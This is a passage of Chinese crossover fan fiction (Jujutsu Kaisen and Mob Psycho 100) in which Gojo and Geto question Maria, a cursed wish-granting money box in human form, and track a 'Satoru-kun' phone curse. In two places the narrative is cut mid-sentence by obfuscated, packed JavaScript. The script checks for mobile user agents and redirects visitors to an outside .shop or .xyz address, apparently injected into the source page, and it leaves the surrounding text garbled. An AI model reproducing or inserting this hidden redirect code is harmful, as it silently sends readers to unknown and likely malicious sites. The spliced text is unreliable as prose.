竖起手指示意玛利亚闭嘴的是夏油杰。 而任性地把她嘴巴捏成一字的则是五条悟——两个混-蛋都竖起了耳朵。 [玛利亚,你已经逃出来了吗?躲藏期间你要是无所谓的话就在事务所办公室吧,反正你这家伙浇水就能活……] [总之你收集的那些咒灵先给你放房间里了噢,茂夫家里有门禁,封印邪气的结界先给你解开了……喂?在听吗?] [喂?喂?玛利亚!喂、你这家伙该不会睡着了手在自动接电话吧……喂?喂?算了,身上有钱的话应该没事吧。] 得不到回应的灵幻咔嚓一声挂断了电话。 酒店房间里一片安静。 被捏成胖头鱼的玛利亚下意识就摆出了乖顺的样子,眨巴眼睛——已经不需要回答了。 吝啬一次的代价如此惨痛。 灵幻絮絮叨叨的关心已经解答了男高们所有的问题。 “……你是笨蛋吗?”五条悟的感想直白到根本不留余地。 而金发笨蛋扭过头,已经看见脸黑了半截的夏油杰:“玛利亚酱,逃跑和咒灵是怎么回事,可以说明一下吗?”他顺便也瞥向了五条悟,“还有钱箱也是。” 她被夏油杰按着坐在了酒店房间的扶手椅上。 而透明的牢笼则是被五条悟套上的——虽然不知道那家伙是怎么做到的,但玛利亚发现四面八方都是看不见的空气墙。 不仅如此。 “玛利亚酱。”那个笑眯眯的高专生蹲在座位旁边,在空墙壁把玛利亚关起来之前向她伸-出了骨节分明的手心。 玛利亚看了看夏油杰骨节分明的手掌。 没搞懂他要做什么。 金发笨蛋姑且把手放上去……握手? 夏油杰没有动,看上去是有些僵硬。 所以玛利亚又换上了另外一只手——脑袋上冒出了问号。 五条悟直接笑着倒在了自己的床上。 而夏油杰这才叹了口气:“不要装作不懂,玛利亚酱……钱包呢?” 为了避免她逃跑,黑发男高直接板着脸把她身上包括10円硬币在内的钱全都给收走了。 * 审问开始了。 但不管问什么,她能给出的回答也只有——‘我是玛利亚’而已。 “都说了,就算想告诉你们……我什么都不记得了。”会的不多,唯独跟灵幻上了社会大学的大金毛在牢笼里举起手,“而且我也是有隐私权的!” 即便到这个时候玛利亚仍是一副缺乏实感的样子,多半只是在跟着一起咋呼。 “连人权都没有,哪来的隐私权啊。”像是对玛利亚的头顶上瘾,五条悟直接给了她一个脑瓜崩,把她弹到了椅背上,“明明是个钱、” 不过话说到一半,五条悟倒是惊讶地摸了摸自己的下巴——他有些惊讶地发现自己只要不用无限将自己笼罩,就无法完整地说出玛利亚的本体。 而坐在椅子上的金发钱箱这会儿跟个洋娃娃一样,脸颊一时间被惊奇的五条悟捏成了胖饼,一时间又被捏成)3(小鸟嘴,她的脑袋被摆弄地歪来扭去,时不时还像是修电视机一样被敲两下。 夏油杰叹了口气:“悟,玛利亚酱再怎么说也是女生噢?” “方方正正的东西哪里有什么性别啊。”五条悟面带嫌弃地收回了手,“杰,原来你会因为外表而产生偏见吗!?”他大喇喇地先倒打一耙,然后用拇指指向了玛利亚。 而黑发同级生直接无视了五条悟。 夏油杰叹了口气:“唯独你说这种话特别荒唐,悟……所以、箱子到底是怎么回事呢?” 亲眼见过才能发现。 只见在六眼的视野里——此刻的玛利亚由两层构成,其内核是木制、看上去颇有年份,被金丝镶嵌装饰的功德箱。 六眼倒是隐约能看到被封印在功德箱内,附着在钱币上的咒灵们。 而箱子的外侧则套着一层,在五条悟眼里,像是游戏模型错误一样,卡在箱子外面的人类壳子,和现在已经被转移到脑袋上的奇怪术式。 形象点说明的话—— o口O= ……这就是头朝左躺下的玛利亚。 “真的假的。”白发男高有些惊奇地用拳头轻轻敲了敲女盒的头顶,“喂、杰,敲一敲还会有硬币咔呲咔呲的响声诶!” 敲沙锤似的手感有些让人上瘾。 他本来只打算锤一下的,但是忍不住又轻轻敲了一下。 被鉴定为女性存钱罐的当事盒倒是一点没有生气:“这样说话会很不方便。”被锤一下的时候说话会突然卡壳一下。 ——不过因为玛利亚拒绝得根本没有什么力道。 五条悟把胳膊肘搭在了她的肩膀上:“看吧,这家伙根本不会生气不是吗?”他露出了不负责任的简笔画脸。 虽然现在的立场是玛利亚被‘逼问’,但一人一盒却诡异地合拍……可能是两个人(暂定)都对世俗的价值观不怎么在意的关系。 而本身对不适非常不敏感,玛利亚思考了片刻。 “又没有恶意,也没有难受的感觉。” “诶~没有恶意就可以砸吗,你这家伙相当乱来诶。” “……大概?不过一般来说,随便对别人动手的那边才会被叫做乱来吧。”虽然是否认,但玛利亚的语气更偏向于真心实意地好奇。 “啊、那抱歉?”五条悟这话里的心意含量为零。 玛利亚同样:“嗯……没关系?” 夏油杰根本跟不上这两个只会乱来的家伙的步调,额头上冒起了青筋。 “在我看来,玛利亚酱看上去听上去都是女孩子噢……稍微照顾一下我这种正常视野的术师好吗。” 他总算把事情拉回了正轨。 所以。 现状到底是怎么回事? * 两个男高都不是笨蛋,稍微一想就已经把各个散碎的点联系了起来…… 在高野山醒来的玛利亚、她被看到的钱箱影子、还有被五条悟看到的,钱箱里封印着咒灵的钱币们。 丢失的钱箱、封印着远古咒灵的咒物、可以实现愿望的古董、无法被心怀恶念的人靠近的秘宝。 还有夏油杰一路追踪到高野山,散播诅咒硬币的诅咒师。 ——怎么这些事情的背后都是你啊!玛利亚!? 你这个罪孽深重的女盒! 虽然很想兴师问罪。 但因为犯罪嫌疑盒根本就没有自觉——两个男高听着玛利亚絮絮叨叨说起对她没恶意钱币就不会启动,还有被辅助监督骗走钱币的‘苦涩往事’。 夏油杰直接吐-出了一口无力的浊气。 当事人不要说恶意了,根本就是个连生气都变成代价用出去的笨蛋…… “不全是变成代价的原因啦。”已经把玛利亚看穿了(物理),五条悟又重新盘腿坐在沙发上摸起了游戏机,“这家伙本身就不太会生气而已。”他头也不抬。 如果是将负面情绪变成咒力消耗出去,六眼应该会看到波动才对,毕竟玛利亚不太会使用自己的术式,在力量外泄的管理上做得不太好。 波动非常明显。 但被玛利亚使用的情绪的量却没有预料中那么大。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223344|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她多半只是因为以前不是人类,所以对不管是正向感情、还是负面感情都非常生疏而已。 简单来说。 是个年头大约七八百年,算上打造箱子的木头生长年份,就快要直逼千年的…… 木头。 但是因为根本·完全无法从玛利亚身上,感觉到那种年岁带来的智慧与通达。 两个男高都无视了年份的事情。 这家伙的年纪按照零头算就行了。 * “所以、当时发生的事情也不记得了?”夏油杰复述。 玛利亚点头,脑袋里现在超——级干净。 她知道的甚至不如两个高专生多,直到昨天为止,玛利亚都还以为自己是人呢。 ……原来我没有爸爸妈妈。 四舍五入已经具备了成为超级英雄的潜质,听了一耳朵自己的情报,玛利亚‘深沉’地捂住了自己的嘴巴。 “铃木真理亚呢,玛利亚知道什么吗?” “我是玛利亚。”她有且只能回答这句。 “头上伤口呢?” “木头也不会受伤吧……是真理亚的伤口吗?” 玛利亚根本不记得这些事,所以也只能摇头。 夏油杰点点头:“……所以,脑袋里只剩下要找到钱箱子,和‘我是玛利亚’这两点了?” “毕竟里面还有3200円……”玛利亚说起这个就会泛起心痛。 不过,虽然她表现得非常关心钱,两个高专生听到这点,却交换了一个眼神—— 五条悟抬起眉毛:“可是‘你’就在这里吧?” 那个箱子和她在六眼的眼里-根本就是一体的——虽然像是个冰淇淋球中段垒着块格格不入的方块巧克力的蛋筒冰淇淋。 但玛利亚却摇头,只说箱子确实是被人带走了——高大的黑发男人,带着箱子和一个女人的身影。 她能记得这点,直觉也是这么说的。 想不清楚,两个男高姑且就把玛利亚说的当成‘事实’处理。 “带走的是谁知道吗?” 玛利亚继续摇头。 “不过玛利亚酱,你在意的其实是被封印在钱币里的咒灵吧。”夏油杰一边说着,一边伸手,“……因为它们都和这个一样,是吗?” 被遗失的功德箱当然重要,不然五条家的老头也不会着急忙慌找上五条悟来调查这件事。 但里面封印着的咒灵遗失恐怕也是一个问题…… 夏油杰把当时的古钱币和尾巴还没恢复的唔姆酱都放了出来。 一盒一灵立时就对上了视线。 视线交汇了好久…… 然后。 在男高的期待眼神中——玛利亚和唔姆酱脑袋上都冒出了问号。 一个是因为根本什么都不记得了。 玛利亚看着唔姆酱:“它没有尾巴。” ……不用你说,长眼睛都能看出来啦! 而唔姆酱的空气尾巴则是要甩不甩,像是认出来了玛利亚,又感觉自己是认错了一样满头疑惑。 可能是玛利亚现在套着人皮的关系吧——这是五条悟的猜测。 我就不该抱有期待。 而狐狸眼男高的笑容几乎僵硬成了简笔画,额头却早已冒出青筋,但他还没来得及说什么。 玛利亚已经面带疑惑,皱起了眉头:“我只是觉得很重要而已……”玛利亚低下头,难得表现出了一丝非正面的情绪。 她看着自己空荡的双手…… 根本就不知道原因。 虽然不太懂各种负面情绪。 对于过去的事情,可能是因为真理亚搞不清详细的许愿,也不记得了。 唯独那种……试图回忆时的头疼、陌生的情绪、和失去的细微沮丧感,对玛利亚来说非常真实—— 她也不清楚自己是看重那3200円的哪部分。 是因为它们是属于自己的‘金钱’呢? 还是因为上面托付着想要封印的意志,被交付给自己的咒灵们呢? 生来便被赋予了‘理由’。 空荡荡的心中剩下的只有执着而已。 她不太明白这种感觉,反倒是夏油杰已经轻轻敲上了玛利亚的头顶:“如果我给玛利亚酱3200円的话,你会放弃找到那个钱箱里的钱吗?” 思考了片刻,玛利亚摇了摇脑袋。 那3200円是不一样的。 “那这样的话,就代表玛利亚酱就算已经忘记,也还在履行自己的使命吧。”黑发男高对玛利亚微微勾起了嘴角。 就算知道了本质,只要眼前的她具有人类的形态,可以交流……就忍不住把她视为人类。 那估计是夏油杰的安慰或是指引。 当然。 这安慰还没完全灌进玛利亚的脑子。 旁边的五条悟已经以拖长的诶声打破了感动,他指着玛利亚:“可是这家伙路上根本就在随便乱用诅咒钱币诶!这算什么封印啊!” 白发男高脸上还带着‘都怪这家伙长了腿我现在还得到处跑’的抱怨神情,轻易打破了感动。 * 不过。 两个男高交换了一个眼神。 五条悟放下游戏机,坐直了:“诶……果然还是不杀了吧。”墨镜男高一脸嫌麻烦的表情。 “同感。”夏油杰点了点头。 两个人十分默契,只有玛利亚状况外:“杀什么?”这两个人到底在说什么。 “当然是你啊。”/“玛利亚酱噢。” 两个人模狗样的恶魔笑眯眯地看向了玛利亚。 当事盒指向自己:“我?” 啊……是说他们放弃杀死…… 我? 诶……为什么? 玛利亚满脸问号。 但那边的夏油杰的严肃表情已然垮台:“玛利亚酱好歹害怕一下吧。” “……我努力一下?” “算了。” * 而好不容易修正了因玛利亚贫瘠的反应破坏的气氛,夏油杰正想继续严肃的话题——玛利亚的手机又一次响了起来。 不可能让她轻易跑掉,黑发男高抢先按下了接听和公放按钮,但那头却并不是预料中的灵幻新隆。 是非常意义不明的声音。 从声音听来,是个小孩子:[你好,我是悟君。我在东京……很快就来找你。] 咔嚓。 电话被挂断了。 玛利亚不明所以,五条悟不明所以(虽然看到了咒力)……只有夏油杰看向了玛利亚。 ……你这家伙,也太抢手了吧!? 以‘要被人杀’的角度来说。 26.价值交换2 因为‘SATORU君’是先来的那边。 尽管现在的重点,明显是五条悟和夏油杰为什么要对玛利亚下手这一点。 玛利亚还是比出了暂停手,决定再怎么说,都得有个先、 先来后到个鬼啦。 玛利亚的手机直接被夏油杰抢了过去,DK直接截停了玛利亚的无用思考。 黑发男高叹了口气,大有种把玛利亚当成了后辈,需要照顾的感觉:“……玛利亚酱,如果你都不知道自己被什么东西缠上的话,就算认真思考也是浪费时间吧?” 察觉到她在当无头苍蝇。 又结合了一下自己对悟君这一都市传说的认知,判断诅咒搞不好随时都会来。 两个二年生只用了两秒讨论—— “她是咒物诶?咒物也能被诅咒吗。” “……现在已经被诅咒了吧,悟的眼睛不都看到了吗?” 然后他们决定,为了可以自己亲手对玛利亚下手(当然是玩笑话),果然,还是先把排在前面的咒灵帮玛利亚解决了吧。 墨镜男高已经用手比出‘我们在看着你’的手势:“能杀掉玛利亚的人只有我们两个,明白了吗。”他笑着咧开了牙齿。 “都说了,玛利亚酱再怎么说也是女生……说这种话会被误会的。”蓄着怪刘海的夏油已然当上了托儿所老师。 反倒是玛利亚歪着脑袋,表情有些疑惑:“‘再怎么说’是什么意思……?” 总感觉不太像是好话……她是被当成了笨蛋吗? “哈!”五条悟已经第二次笑倒在了床上,他指着玛利亚,“她才不会误会啦……”他扭头看向玛利亚,“这家伙根本不会有这方面的神经吧?” ……她的取向搞不好是男盒。 “是是、非常感谢……省了不少事呢。” 而夏油杰只是不太走心、笑眯眯地转移了话题,没对‘再怎么说’进行详细说明,转而问起了玛利亚关于诅咒的事情。 * 一言以蔽之。 是工作。 知道了玛利亚接下的灰色兼职——又在上班到一半跑路被自己抓到的光荣事迹。 这已经玛利亚是第三次被两个DK嘲笑了,当然,这中间还有五条悟闹腾得要命的‘竟然是你这个家伙打的骚扰电话!’的指责。 “竟然许那种不严谨的愿望。”这是夏油杰的感叹,“而且,要是转移到危险的家伙面前……” 比如说带走箱子的那个神秘人。 或是什么知道一切的大坏蛋旁边。 “玛利亚酱,这么做可是很危险的噢。” 而消了气,五条悟笑嘻嘻地撑着自己的脑袋侧躺在床上:“而且,你都知道要去找真理亚的情报的话,那就绝对会和我们在某个点撞上吧。” 到时候要怎么做? 花钱许愿‘两边不会相遇’吗? 提到钱,玛利亚被关在透明监狱里的身影变得格外渺小。 当然,她对嘲笑和指责毫无反应,只在被判断工作跑路这点十分在意:“我收到的钱款只包括了将电话拨给SATORU君这一点而已。” 之后的事情是额外的价钱。 而她确实已经做到了被嘱咐的事情,那就是完美的等价交换。 玛利亚认真反驳。 “明明知道要等价交换,结果到自己身上的时候,却只用最低限度的预算了呢……玛利亚酱。”夏油杰又捅了玛利亚一刀。 已经吃够了这九千円的教训,玛利亚的视线漂移了几度,她吱唔了好一阵才想起了反驳:“我又没有试过清醒地给自己许愿……” 这才是第一次。 “失误也是很正常的吧。”金发笨蛋理直气壮,怎么想都不是她的错。 反倒是两个男高沉默了片刻,但反应却截然不同。 五条悟直接扯开了她的脸:“喂、你这家伙的拟人程度也太高了吧。” 夏油杰则是轻轻拍了拍玛利亚的脑袋。 “随便对异性露出破绽会很容易被人利用的,玛利亚酱。”他的语气有点像是安慰,又有点像是在无奈。 “……毕竟‘再怎么说’也已经是女生了?” 不过,就算这么说……玛利亚倒没什么自己到底算人、还是盒子成精、是男是女的认知问题,她只是按照舒服的方式生活而已。 夏油杰没再回答,只是轻轻叹了口气。 * 终于、 被灌了一耳朵关于悟君的都市传说,还有了解了玛利亚接听到电话的内容之后,两边的情报终于合在了一起。 夏油杰以拇指挠了挠额头:“……工作手册呢?” “毕竟用不到了。”她留给了工作地点的娜娜明他们。 料想这两个一年生肯定没有睡觉,夏油杰第一时间拿起了手机开始拨号,而五条悟则是不走心地分析了起来。 第一次接通,电话那边是中年人。 大概率是传说中的那个杀人犯。 对方告诉玛利亚——告诉她答案的话,自己就可以过来。 “伏黑甚尔……按照那种都市传说的话,这就是SATORU君,不,那个年龄叫什么君啊……该叫中年悟桑给你的答案吧!” 白发男高跟玩文字冒险似的,分外起劲:“所以说……就是要来灭口吧?” 而第二次通话。 主动给玛利亚联络的人却变成了传说中作为小孩的那个SATORU君,他通报着自己的所在地。 明显是打算步步靠近、然后来到玛利亚身后的样子。 之后的联络还没来,但预想,不管是中年悟桑,还是幼年悟君,都会持续来电的。 ……坐在室内的五条悟君皱起眉头。 该不会下次来电,又会是不同的SATORU传说吧。 这个都市传说SATORU君怎么人山人海的。 是客服中心吗? 还是名叫SATORU君的咒灵企业? 怎么还带不同的客服号接取通话的……而且每个路线对于悟君的说辞都有不同。 白发男高看向玛利亚。 ……这家伙到时候该不会会等到四五个悟君把她围起来鼓掌,大声道恭喜(哦灭跌多)吧? 而且还不让转身。 “你这家伙……背后站得下这么多人吗……?”下意识就把猜想说出了口。 而明明是被盯上的那个,玛利亚听着猜测,却十分状况外。 她想象着那种多少有些荒诞的场面,被四五个悟君围绕…… “……五个悟?” “喂!” * 而那边——夏油杰终于拨通了灰原的电话,两个学弟明显在忙。 说话间。 灰原气喘吁吁:[前辈!我们还没有找到玛利亚——可恶,这个楼梯是不同循环的,好像是某种领域或是术式的效果……娜娜明,在那边!] 玛利亚的眼睛睁大了。 她下意识啊了一声。 [我们目前只找到了一个躲藏在床底下的手部咒灵。]而旁边同样气喘吁吁的七海建人语气倒是淡定很多,[它带着床一起跑了,我们正在追踪。] [果然……玛利亚是被骗了……这个公寓根本没有除灵完毕、我们会想办法的。] [要是她陷入这里就不好了,太危险了。] 两个一年生在那头语气严肃·态度认真地分析着这个‘险恶’的公寓的破解之法。 而二级生则是对学弟们的情况集中了注意力。 “不过,既然可以拨通电话的话,应该并没有被结界术封闭……”夏油杰陷入了分析,沉吟一声。 只有玛利亚已经开始在空气牢笼里左右张望,试图找到一枚可供跑路的钱币。 然后,她坐立不安的样子,就被旁边瞎指挥学弟们‘总之先把咒力集中随便两下吧问题解决’的五条悟发现了。 夏油杰紧接着也看了过来。 ……该不会。 两个DK面上的表情已经变成了简笔画。 “是玛利亚酱搜集的咒灵?”想起了当时电话里,和他声线完全一致的家伙说的内容。 玛利亚轻轻点了点头,小声交代了公寓里的实情——又一个疑惑得到了解答。 五条悟和夏油杰的视线先是短暂地对上。 然后,玛利亚面前的空气墙突然就加厚了好一截,连声音都无法传出。 而已经充分领教这个金发非人类的搞事能力的夏油杰直接拿起了电话。 “做得很好,灰原,没事,只要不抱着离开公寓的想法行动就行了。”他笑眯眯地指导着学弟如何应对公寓的走廊和楼梯,非常冷血地给玛利亚下了‘死刑’。 ……不。 比那个还要可怕! 这个眯眯眼恶魔!心眼比眼睛还要小的坏蛋人类!刘海品味超级奇怪的怪人! 简直像是从玛利亚的脸上读出了她的想法。 夏油杰的额头上冒起了青筋:“七海,能拜托你吗?先把那些咒灵抓、” 但他的话还没有说完,玛利亚的脸上,已经第一次露出了两个煎蛋一样的泪眼。 还不如把她杀了、不对、这个情况下应该是还不如把她劈了当柴烧算了! ……家具们、家具们什么都没有做错啊。 而随着她的想法。 反而是夏油杰和五条悟突然疑惑地嗯了一声——两个男高讶异的原因各有不同。 只见黑发男高从口袋里抽出之前没收的,玛利亚的钱包,这才发现,其中一张万元钞票已经出现了轻微的烧焦痕迹。 而五条悟则是诶了一声:“无限差点就被这个家伙破开一个口诶、是许愿障壁不存在吗?并不是破坏,而是消失……呜哇、差点绕开了。” 不过,察觉到玛利亚的真心抗拒——两个DK倒是见好就收。 夏油杰明显一开始就没打算让两个一年生祓除玛利亚收藏的咒灵。 ……他有另外的,想要在玛利亚身上确认的事情。 所以。 此刻的怪刘海坏心眼改口改得非常顺溜:“不,没事的,那些是玛利亚驯服的咒灵。你们只要从楼层中翻出去,再回去休息就行了。” 他好歹是给玛利亚留了一线。 “……不用担心,我们知道玛利亚的下落。” “啊,床被劈成了三七分?没事,那个费用我会想办法的。” “嗯,她现在很安全。” 电话就这样挂断了。 虽然今晚还有很多需要确认的事情,但考虑到大家都被折腾得够呛——这分别指玛利亚的荷包、五条悟夏油杰的睡眠时长、和七海灰原的神经。 今夜还是姑且这么结束了。 考虑到[悟君咒灵有限公司]随时会打电话过来,玛利亚借到了沙发。 ……这主要是因为,五条悟因为看得到而很难认为玛利亚算是人类,直接就打算把她放自己床尾巴上就这样睡觉。 “要认为她有吸引力的话,还不如在箱子上画麦O劳的标识呢。”限定版本外卖箱那样。 而对夏油杰来说。 放任看上去比自己柔弱的女性这样相处未免太乱来了——不管是保护‘弱者’、还是以绅士风度考虑。 但因为之前的床被劈成了三七分的事情。 玛利亚怎么说也不要领夏油杰的情…… “……你讨厌人的方式真特别,玛利亚酱。” 她其实没有很生气,但总感觉得表明态度才行:“我绝对不会再相信眼睛小的男人说话了!” “不要在对你有利的时候就突然自认为人类了吧,还有,骂人的方式太贫乏了,那是小学生的做法。” “#¥!%。”这是躲在被窝里闷笑的五条悟。 “眯眯眼!” “我真的会生气噢,玛利亚酱。” 总之,就是这样。 ……一群精神上极端幼稚的家伙熄了灯还要拌几句嘴。 但即便是被诅咒盯上。 又据说要被两个高专生杀掉——因为完全没那根神经,玛利亚还是沾上枕头不久就睡着了。 * 夜间的时候,SATORU君又来了一次电话。 这次是一把女声。 看来确实是‘悟君有限公司’无误了。 但是除非咒灵现身,他们也没什么别的办法,只好继续等着了。 而五条悟也已经看清楚了咒力波动,确实只是一二级,就算七海他们也能解决。 所以——第二天他们就暂且先告别了。 这一方面——是因为玛利亚强调自己必须亲自搜索真理亚的情报才行。 虽然她自己说只是下意识认为该这么做,也有很多说不出口的原因。 但在知道玛利亚本质的两个高专生眼里,这多半是术式持有者对于‘愿望’的感知。 而另一方面,是因为需要一点时间。 这边厢,辅助监督得知了伏黑甚尔的名字,还有玛利亚碎片化的记忆——已经联络体系内的手段进行调查去了。 具体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233720|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要什么还得再看那边调查的情报。 而虽然说是要杀死她……但是两个高专生在得知了情报也有要去做的事情,只能先把玛利亚放走了。 五条悟塞了一张五千円在玛利亚手里:“几天后你要亲自请我吃圣代。” 虽说是被钻了术式的空子。 但玛利亚还是喜滋滋地拿下了钞票:“便利店甜品可以吗?” “喂!”墨镜男高先是一脸不满,但很快就变成了无所谓,“……随便啦。” 他倒是意料之外地好打发。 “……不可以跑噢。” “嗯,毕竟都给了钱了。”她点了点头。 约好了一周之后在公寓见面。 而与此同时,在玛利亚‘你们这边人数太多了对我不公平’这种根本没有什么用处的抗议之下。 灵幻新隆还有麻里姐、还有光头桑他们最后还是都被通知到了。 “……那些家伙只是普通人,玛利亚酱。”夏油杰直到分别之前都不太赞同这点,“让没有能力的人卷入这种事情是不对、” 反倒是那个金发笨蛋回答得十分坦荡:“可是我又不是人类。” 什么术师的正道、强者弱者之类的事情她根本搞不明白。 是否能够提供协助这种事情玛利亚也没有深-入考虑……她更不觉得自己应当参考任何族群的视线。 “因为我很喜欢灵幻、麻里姐他们。”玛利亚理所当然,“毕竟是很重要的事情,想让他们也知道。” 现在想来,之前那些不熟练的地方只是她还不是很会当人而已(她确实不怎么当人)。 这么说着。 玛利亚已经摸出钞票打开了‘任意门’。 * 不过分别之后。 ……她才突然想起一件事。 啊、 忘了问了。 想要杀掉她的理由。 * “啊、早知道也让她给我们开传送门了……” “新干线的车票都没有这么贵吧,悟。”夏油杰叹了口气。 而抱怨是一回事,等到玛利亚的咒力完全消散之后,两个男高这才正经了起来——夏油杰的视线瞥向了五条悟。 白发男高抓了抓自己的头发:“总之,不能告诉夜蛾和学校那边、那硝子呢?” 他说的正是‘玛利亚’这个存在的事情。 “会给硝子增加选边站的压力吧?虽然她肯定会说‘自己绝对会告密’,然后让我们不要说的。” 夏油杰这话刚说完,他就已经了然地叹了口气。 到底该怎么让玛利亚的存在被接受呢? 果然。 “……玛利亚的存在很棘手吧。”虽然不像五条悟那样有着很特别的眼睛,但夏油杰毕竟是一级术师,‘常识’也是有的。 按照他们手头的情报——铃木真理亚向玛利亚许了什么愿望,导致事件变成了这样。 而玛利亚昨晚明显无法给出别的回答,她似乎只能说——“我是玛利亚。” “……又不是树人。”想起昨晚,五条悟还有些嫌弃,“不对,这家伙搞不好真和树人是亲戚也说不定。” 总之。 玛利亚现在作为‘人类’存在,她长得和真理亚一样,某种意义上成为了‘Maria’,铃木真理亚无疑没有达成这一效果的能力。 这现状只能是玛利亚干的。 那么—— 两个在山上没有看到真理亚的尸体,附近也没有目击到除玛利亚以外的家伙。 所以。 “真理亚在哪里?” 少女在向奇怪咒具许愿之后失踪了,并且目前,似乎仍在支付代价。 那么。 解决问题的最快途径……至少是途径之一就很好确定了。 对他们两人来说……破坏这个许愿机器,让这个‘交换直接’中止才是最简单,也最万无一失的方式。 不会有危险的咒物外流。 无主的咒灵可以让夏油杰吸收。 搞不好,也存在着可以救真理亚的可能性。 ——虽然如果让高层来选,搞不好会选择让真理亚去死,玛利亚保留这种可以被利用的状态也说不定。 光是想到就会觉得,是个麻烦得要死的状态。 更不要说—— “玛利亚的术式应该不是单纯的金钱交换吧?”夏油杰有个猜测。 五条悟先是点了点头,作为看到一切的人给于了正解:“毕竟金钱可是会通货膨胀、紧缩的东西,日元泡沫破灭前和破灭后的物价都不一样,更不要说有不同年代颁布的钱币,古董会变得值钱,破灭的国家的钞票会变成废纸……当然不是那个了。” 而且那样的话,外汇怎么算? 他轻声说出了自己看到的东西:“进行交换的是‘价值’本身。” 真相只在两个男高之间交换了片刻,除此之外,谁也不知道那个术式的本质。 “她会认为是金钱,可能是因为自己长年作为钱箱生活、啧、怎么这么奇怪……总之就是路径依赖!” ……果然。 预想到之后的麻烦,夏油杰叹了口气:“那还是不告诉玛利亚酱比较好吧。”让她知道的话太危险了,毕竟是没什么道德观念的咒物。 “害怕了?” “不,我可不是会动摇的性格,只是考虑到玛利亚酱而已。” “真的假的……你把她当成自己的责任了吗?” “玛利亚酱要是出什么问题,也会对一般人造成影响吧。”正论狂信徒理所当然。 “她可没那么弱啦,术式不如说简直根本不讲道理……要不然告诉她算了,反正这家伙也不喜欢钱之外的替换物。” “太危险了。” 所以。 两个男高直到上车之前还是没有考虑清楚……要不要告诉玛利亚关于她的术式的事情。 不过。 因为某方面意外合拍。 两个人都有不想杀掉的理由。 夏油杰笑眯眯地什么话都没说,只是保存着自己的意见——他仍然思考着和那些特别的咒灵球有关的事情。 到底要怎么和玛利亚单独商量这个事情,也是一个问题。 而五条悟啧了一声:“一旦认为太危险了,要不然就先利用看看,不行就想办法杀掉……完全就是那种臭老头会干的事情,啧,想到就会觉得有些发噁。” 当然。 这更多的原因恐怕只是……因为他们觉得自己是最强而已。 27.价值交换3 不过。 就算那边的男高已经正经起来,张罗起怎么让玛利亚这个危险分子平安落地的方法。 玛利亚却根本没有那根神经。 她在回到了调味市之后,直接把灵幻、茂夫、麻里姐和光头桑搜罗了起来——想也不想就告诉了他们自己知道的事情。 当然。 因为玛利亚无论如何都不能说出‘我是玛利亚’之外的句子——场面一度变得有点像是奇怪的公布仪式。 * “我有个很重要的事情要先告诉大家。”因为床被娜娜明砍成了三七分,玛利亚只能坐在乱糟糟的起居室里面对几人。 大手因为失去了它的耶路撒冷,现在正环着玛利亚的腰,不停发颤……但枯枝叽叽叽叽的晃动声怎么听都不像是哭声。 倒像是邪笑着发颤。 总之。 因为太难以理解,几人都放弃了观察咒灵——只是专心集中向了玛利亚难得非常认真的语气。 这种认真的语气…… 这家伙该不会? 几人陷入了沉默,但这种真挚的等待,最后得到的只有玛利亚有些挫败的—— “我是玛利亚。” ……我就知道! 被玛利亚通过传送门(价值2000円)从大学附近租住的公寓拉来,光头永野薰已经直接把给玛利亚带的伴手礼直接砸到了这家伙脑袋上。 “你这家伙——非得在月末考试之前把人抓过来就是为了看我被戏弄的表情吗!” 软绵绵的可爱毛巾小熊啵唧一声,从玛利亚的脑袋上弹起然后落下(据说是为了让小手可以操纵准备的)。 光头已经趁着这个机会抓起了玛利亚的领子。 场面一如既往地乱成一团,麻里姐当着和事佬——倒是灵幻新隆早就对她昨晚的异常有些察觉。 接通了电话却一点声音都没有。 第二天却这么认真地把所有人召集起来…… 黄发超·能力者盘腿坐在地上,沉吟了一声:“玛利亚……”他神色非常严肃,“不管你说什么我都能理解。” 说吧。 ……不管玛利亚是癌症、白血病、取向通知、还是回忆起了自己的过去,知道自己其实是某个富豪遗落在外的真假千金。 “当然,你想起自己欠债的话就算了。”灵幻举起一掌,比出抱歉手势,“因为我也没有钱。” 玛利亚在胸前比了大大的叉:“才不是那回事啦。” * 而发现无论如何都没法把想法说出。 她思考了片刻,还是把电话打给了五条悟,费了点功夫许诺了帮忙许愿梦幻甜品之类的要求,让他帮忙。 那边的五条悟倒也很痛快,直接就告诉了打工仔们答案—— 恭喜,这是个女盒。 光头和麻里姐先是陷入了沉默的思考中。 作为正港超能力者的影山茂夫倒是啊了一声,反应了过来:“说起来确实是这样……玛利亚小姐身上的灵力也是正正方方的,之前想说话的时候那个力量也有波动的样子……” 现在看来,果然是玛利亚自己的力量给自己下了‘禁言’吧,因为是要实现的愿望,所以她自己也必须遵守。 而灵幻新隆则是飞速撤回了自己信誓旦旦的‘我都可以理解’的狂妄发言。 他连玛利亚失忆之前是不知名无愧疚感的连环杀人犯的预案都做好了……不是,她怎么,这家伙到底、 完·全没有办法理解! “喂,好歹问我们一下想不要知道这件事吧……!”灵幻新隆在0.03333秒里就反应过来了这里面的利害关系。 “我只是想告诉大家,毕竟是很重要的事情。” “那你要参考我们的意见吗?有什么我们能帮忙的事情吗?” 玛利亚摇了摇头:“……应该没有吧。”听那两个男高的说法,事情好像会超级麻烦。 旁边的麻里姐已经反应了过来:“灵幻先生是觉得……知道这种事情对自己很危险吧。” 她眯起眼睛,想来是已经决定好了自己对这件事的态度,面上露出了对灵幻的警戒。 